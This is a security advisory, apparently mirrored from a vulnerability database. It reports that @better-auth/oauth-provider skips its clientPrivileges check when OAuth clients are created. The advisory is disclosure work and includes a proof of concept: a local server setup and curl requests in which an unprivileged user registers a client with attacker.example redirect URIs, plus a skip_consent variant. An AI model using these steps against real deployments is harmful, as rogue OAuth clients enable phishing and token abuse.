GHSA-XR8F-H2GW-9XH6

Vulnerability from github – Published: 2026-04-16 22:44 – Updated: 2026-04-16 22:44
VLAI?
Summary
OAuth 2.1 Provider: Unprivileged users can register OAuth clients
Details

Summary

An authorization bypass in the OAuth provider allows any authenticated low-privilege user to create OAuth clients even when the deployment configures clientPrivileges to restrict client creation. The option contract explicitly includes a create action, but the create paths never invoke that callback, so applications that rely on clientPrivileges for RBAC can be silently misconfigured into allowing unauthorized client registration.

Details

The OAuth provider exposes a clientPrivileges authorization hook whose documented action set includes create: https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/types/index.ts#L209-L214 However, the two client-creation entry points for the adminCreateOAuthClient and the createOAuthClient, both delegate directly to createOAuthClientEndpoint without performing a clientPrivileges check.

In contrast, the non-create operations do enforce clientPrivileges in getClientEndpoint, getClientsEndpoint, deleteClientEndpoint, updateClientEndpoint and rotateClientSecretEndpoint. Those paths call the hook with read, list, delete, update, and rotate, but there is no corresponding create authorization check before persisting a new oauthClient record.

As a result, an application may reasonably configure clientPrivileges to allow only certain users or roles to manage OAuth clients, while any ordinary authenticated user can still call the create-client route successfully. This breaks the documented security boundary and enables unauthorized creation of OAuth clients with attacker-controlled redirect URIs and metadata.

If the server-only adminCreateOAuthClient endpoint is accidentally exposed to low-privilege authenticated users, an attacker can create OAuth clients with skip_consent enabled, which may allow silent consent bypass for that client and increases phishing and token-abuse risk.

PoC

Use the following setup to reproduce the authorization bypass in a minimal environment.

  1. Start a Better Auth server with oauthProvider and a restrictive clientPrivileges policy that should only allow one user to create OAuth clients.
  2. Create two users:
    • allowed user
    • forbidden user
  3. Sign in as the forbidden user and call the authenticated OAuth client creation endpoint.
  4. Observe that client creation succeeds even though policy should deny it.

Server configuration example:

import { createServer } from "node:http";
import { oauthProvider } from "@better-auth/oauth-provider";
import { betterAuth } from "better-auth";
import { toNodeHandler } from "better-auth/node";
import { jwt } from "better-auth/plugins";

const PORT = 3000;
const BASE_URL = `http://localhost:${PORT}`;
const ALLOWED_EMAIL = "allowed@test.com";

const auth = betterAuth({
    baseURL: BASE_URL,
    emailAndPassword: {
        enabled: true,
    },
    plugins: [
        oauthProvider({
            loginPage: "/login",
            consentPage: "/consent",
            silenceWarnings: {
                oauthAuthServerConfig: true,
                openidConfig: true,
            },
            clientPrivileges({ user }) {
                return user?.email === ALLOWED_EMAIL;
            },
        }),
        jwt(),
    ],
});

const authHandler = toNodeHandler(auth.handler);

const server = createServer(async (req, res) => {
    const url = req.url || "/";

    if (url.startsWith("/api/auth")) {
        await authHandler(req, res);
        return;
    }

    if (url === "/" || url === "/health") {
        res.writeHead(200, { "content-type": "application/json" });
        res.end(
            JSON.stringify({
                status: "ok",
                message: "OAuth Provider clientPrivileges PoC server is running",
                baseURL: BASE_URL,
                authBasePath: "/api/auth",
            })
        );
        return;
    }

    if (url === "/login" || url === "/consent") {
        res.writeHead(200, { "content-type": "text/plain; charset=utf-8" });
        res.end("Placeholder page for oauthProvider config");
        return;
    }

    res.writeHead(404, { "content-type": "application/json" });
    res.end(JSON.stringify({ error: "not_found" }));
});

server.listen(PORT, () => {
    console.log(`PoC server running on ${BASE_URL}`);
    console.log(`Auth endpoints: ${BASE_URL}/api/auth/*`);
    console.log("Use sign-up/email and sign-in/email to create sessions.");
});

Sign up forbidden user:

curl -i -X POST http://localhost:3000/api/auth/sign-up/email \
  -H "content-type: application/json" \
  -d '{
    "email":"forbidden@test.com",
    "password":"test123456",
    "name":"forbidden user"
  }'

Sign in with forbidden user (save cookies to txt file):

curl -i -X POST http://localhost:3000/api/auth/sign-in/email \
  -H "content-type: application/json" \
  -H "origin: http://localhost:3000" \
  -c cookies.txt \
  -d '{
    "email":"forbidden@test.com",
    "password":"test123456"
  }'

Attempt unauthorized client creation as forbidden user:

curl -i -X POST http://localhost:3000/api/auth/oauth2/create-client \
  -H "content-type: application/json" \
  -H "origin: http://localhost:3000" \
  -b cookies.txt \
  -d '{
    "client_name":"attacker-client",
    "client_uri":"https://attacker.example/app",
    "logo_uri":"https://attacker.example/logo.png",
    "contacts":["security@attacker.example"],
    "tos_uri":"https://attacker.example/terms",
    "policy_uri":"https://attacker.example/policy",
    "redirect_uris":["https://attacker.example/callback"],
    "grant_types":["authorization_code"],
    "response_types":["code"],
    "token_endpoint_auth_method":"client_secret_basic",
    "type":"web"
  }'

Expected result: HTTP 401 Unauthorized, because clientPrivileges denies create for forbidden@test.com.

Actual result: Client is created successfully (HTTP 200 with client_id and client_secret), demonstrating that create authorization is not enforced through clientPrivileges on this path.

Optional high-impact variant (only if server-only endpoint is exposed by deployment): Call the admin create endpoint and set skip_consent true to create a client that may bypass user consent flow for that client.

Impact

This is an authorization bypass (broken access control / RBAC enforcement gap) affecting applications that use oauth-provider and rely on clientPrivileges to restrict who can register OAuth clients.

Potential impact includes: - Unauthorized registration of attacker-controlled OAuth clients. - Creation of clients with attacker-chosen redirect URIs and metadata. - Increased risk of phishing/social engineering through rogue first-party-looking clients. - Abuse of trust assumptions in downstream OAuth/OIDC flows that treat registered clients as vetted. Severity is deployment-dependent, but security-relevant by default because a documented access-control hook is bypassed for client creation.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@better-auth/oauth-provider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.8-beta.7"
            },
            {
              "fixed": "1.6.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@better-auth/oauth-provider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0-beta.0"
            },
            {
              "last_affected": "1.7.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T22:44:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn authorization bypass in the OAuth provider allows any authenticated low-privilege user to create OAuth clients even when the deployment configures clientPrivileges to restrict client creation. The option contract explicitly includes a create action, but the create paths never invoke that callback, so applications that rely on clientPrivileges for RBAC can be silently misconfigured into allowing unauthorized client registration.\n\n### Details\nThe OAuth provider exposes a clientPrivileges authorization hook whose documented action set includes create:\nhttps://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/types/index.ts#L209-L214\nHowever, the two client-creation entry points for the [adminCreateOAuthClient](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/index.ts#L16) and the [createOAuthClient](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/index.ts#L228), both delegate directly to [createOAuthClientEndpoint](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/register.ts#L179) without performing a clientPrivileges check.\n\nIn contrast, the non-create operations do enforce clientPrivileges in [getClientEndpoint](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/endpoints.ts#L17), [getClientsEndpoint](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/endpoints.ts#L94), [deleteClientEndpoint](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/endpoints.ts#L151), [updateClientEndpoint](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/endpoints.ts#L212) and [rotateClientSecretEndpoint](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/endpoints.ts#L299). Those paths call the hook with read, list, delete, update, and rotate, but there is no corresponding create authorization check before persisting a new oauthClient record.\n\nAs a result, an application may reasonably configure clientPrivileges to allow only certain users or roles to manage OAuth clients, while any ordinary authenticated user can still call the create-client route successfully. This breaks the documented security boundary and enables unauthorized creation of OAuth clients with attacker-controlled redirect URIs and metadata.\n\nIf the server-only adminCreateOAuthClient endpoint is accidentally exposed to low-privilege authenticated users, an attacker can create OAuth clients with skip_consent enabled, which may allow silent consent bypass for that client and increases phishing and token-abuse risk.\n\n### PoC\nUse the following setup to reproduce the authorization bypass in a minimal environment.\n\n1. Start a Better Auth server with oauthProvider and a restrictive clientPrivileges policy that should only allow one user to create OAuth clients.\n1. Create two users:\n    - allowed user\n    - forbidden user\n5. Sign in as the forbidden user and call the authenticated OAuth client creation endpoint.\n6. Observe that client creation succeeds even though policy should deny it.\n\nServer configuration example:\n```typescript\nimport { createServer } from \"node:http\";\nimport { oauthProvider } from \"@better-auth/oauth-provider\";\nimport { betterAuth } from \"better-auth\";\nimport { toNodeHandler } from \"better-auth/node\";\nimport { jwt } from \"better-auth/plugins\";\n\nconst PORT = 3000;\nconst BASE_URL = `http://localhost:${PORT}`;\nconst ALLOWED_EMAIL = \"allowed@test.com\";\n\nconst auth = betterAuth({\n\tbaseURL: BASE_URL,\n\temailAndPassword: {\n\t\tenabled: true,\n\t},\n\tplugins: [\n\t\toauthProvider({\n\t\t\tloginPage: \"/login\",\n\t\t\tconsentPage: \"/consent\",\n\t\t\tsilenceWarnings: {\n\t\t\t\toauthAuthServerConfig: true,\n\t\t\t\topenidConfig: true,\n\t\t\t},\n\t\t\tclientPrivileges({ user }) {\n\t\t\t\treturn user?.email === ALLOWED_EMAIL;\n\t\t\t},\n\t\t}),\n\t\tjwt(),\n\t],\n});\n\nconst authHandler = toNodeHandler(auth.handler);\n\nconst server = createServer(async (req, res) =\u003e {\n\tconst url = req.url || \"/\";\n\n\tif (url.startsWith(\"/api/auth\")) {\n\t\tawait authHandler(req, res);\n\t\treturn;\n\t}\n\n\tif (url === \"/\" || url === \"/health\") {\n\t\tres.writeHead(200, { \"content-type\": \"application/json\" });\n\t\tres.end(\n\t\t\tJSON.stringify({\n\t\t\t\tstatus: \"ok\",\n\t\t\t\tmessage: \"OAuth Provider clientPrivileges PoC server is running\",\n\t\t\t\tbaseURL: BASE_URL,\n\t\t\t\tauthBasePath: \"/api/auth\",\n\t\t\t})\n\t\t);\n\t\treturn;\n\t}\n\n\tif (url === \"/login\" || url === \"/consent\") {\n\t\tres.writeHead(200, { \"content-type\": \"text/plain; charset=utf-8\" });\n\t\tres.end(\"Placeholder page for oauthProvider config\");\n\t\treturn;\n\t}\n\n\tres.writeHead(404, { \"content-type\": \"application/json\" });\n\tres.end(JSON.stringify({ error: \"not_found\" }));\n});\n\nserver.listen(PORT, () =\u003e {\n\tconsole.log(`PoC server running on ${BASE_URL}`);\n\tconsole.log(`Auth endpoints: ${BASE_URL}/api/auth/*`);\n\tconsole.log(\"Use sign-up/email and sign-in/email to create sessions.\");\n});\n```\n\n Sign up forbidden user:\n```bash\ncurl -i -X POST http://localhost:3000/api/auth/sign-up/email \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\n    \"email\":\"forbidden@test.com\",\n    \"password\":\"test123456\",\n    \"name\":\"forbidden user\"\n  }\u0027\n```\n\nSign in with forbidden user (save cookies to txt file):\n```bash\ncurl -i -X POST http://localhost:3000/api/auth/sign-in/email \\\n  -H \"content-type: application/json\" \\\n  -H \"origin: http://localhost:3000\" \\\n  -c cookies.txt \\\n  -d \u0027{\n    \"email\":\"forbidden@test.com\",\n    \"password\":\"test123456\"\n  }\u0027\n```\n\nAttempt unauthorized client creation as forbidden user:\n```bash\ncurl -i -X POST http://localhost:3000/api/auth/oauth2/create-client \\\n  -H \"content-type: application/json\" \\\n  -H \"origin: http://localhost:3000\" \\\n  -b cookies.txt \\\n  -d \u0027{\n    \"client_name\":\"attacker-client\",\n    \"client_uri\":\"https://attacker.example/app\",\n    \"logo_uri\":\"https://attacker.example/logo.png\",\n    \"contacts\":[\"security@attacker.example\"],\n    \"tos_uri\":\"https://attacker.example/terms\",\n    \"policy_uri\":\"https://attacker.example/policy\",\n    \"redirect_uris\":[\"https://attacker.example/callback\"],\n    \"grant_types\":[\"authorization_code\"],\n    \"response_types\":[\"code\"],\n    \"token_endpoint_auth_method\":\"client_secret_basic\",\n    \"type\":\"web\"\n  }\u0027\n```\n\nExpected result:\nHTTP 401 Unauthorized, because clientPrivileges denies create for forbidden@test.com.\n\nActual result:\nClient is created successfully (HTTP 200 with client_id and client_secret), demonstrating that create authorization is not enforced through clientPrivileges on this path.\n\nOptional high-impact variant (only if server-only endpoint is exposed by deployment):\nCall the admin create endpoint and set skip_consent true to create a client that may bypass user consent flow for that client.\n\n### Impact\nThis is an authorization bypass (broken access control / RBAC enforcement gap) affecting applications that use oauth-provider and rely on clientPrivileges to restrict who can register OAuth clients.\n\nPotential impact includes:\n- Unauthorized registration of attacker-controlled OAuth clients.\n- Creation of clients with attacker-chosen redirect URIs and metadata.\n- Increased risk of phishing/social engineering through rogue first-party-looking clients.\n- Abuse of trust assumptions in downstream OAuth/OIDC flows that treat registered clients as vetted.\nSeverity is deployment-dependent, but security-relevant by default because a documented access-control hook is bypassed for client creation.",
  "id": "GHSA-xr8f-h2gw-9xh6",
  "modified": "2026-04-16T22:44:28Z",
  "published": "2026-04-16T22:44:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-xr8f-h2gw-9xh6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/better-auth/better-auth"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OAuth 2.1 Provider: Unprivileged users can register OAuth clients"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…